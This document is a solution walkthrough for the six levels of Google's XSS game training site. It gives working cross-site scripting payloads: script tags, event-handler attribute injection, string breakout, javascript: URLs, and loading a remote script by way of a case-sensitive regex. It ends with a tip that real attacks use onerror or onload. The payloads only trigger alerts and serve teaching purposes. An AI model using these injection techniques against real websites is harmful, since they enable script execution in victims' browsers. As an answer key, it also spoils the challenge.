# lvl 1
  
  Enter `<script>alert('')</script>` into the search box.  
  
  # lvl 2
  
  Use the `onclick` attribute of the font tag (hint is from       the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message:
  
      <font color="red" onclick="alert('')">blah</font>
  
  and then click blah after posting the message. (or use   onload etc.)
  
  # lvl 3
  
  Modify the URL parameter so that you inject code into the   `<img>` tag:
  
      https://xss-game.appspot.com/level3/frame#1.jpg'   onclick="alert('')" alt='a picture called 1
  
  which will render as:
  
     html += "<img src='/static/level3/cloud/1.jpg'    onclick="alert('')" alt='a picture called 1.jpg'/>";
  
  on line 17 of the HTML file. Now click on the picture.
  
  # lvl 4
  
  Use `3'); alert('` as the value for your timer.
  
  # lvl 5
  
  Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use   this as the location that the user is sent to on the signup page. Go the the URL:
  
      https://xss-game.appspot.com/level5/frame/signup?  next=javascript:alert('')
  
  and then click the `Next` link.
  
  # lvl 6
  
  The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js:
  
      alert('');

  and then go the the url `https://xss-  game.appspot.com/level6/frame#Http://mysite.com/xss.js`
  
  # Notes
  
  In an actual attack you'd use onerror or onload everywhere instead of onclick.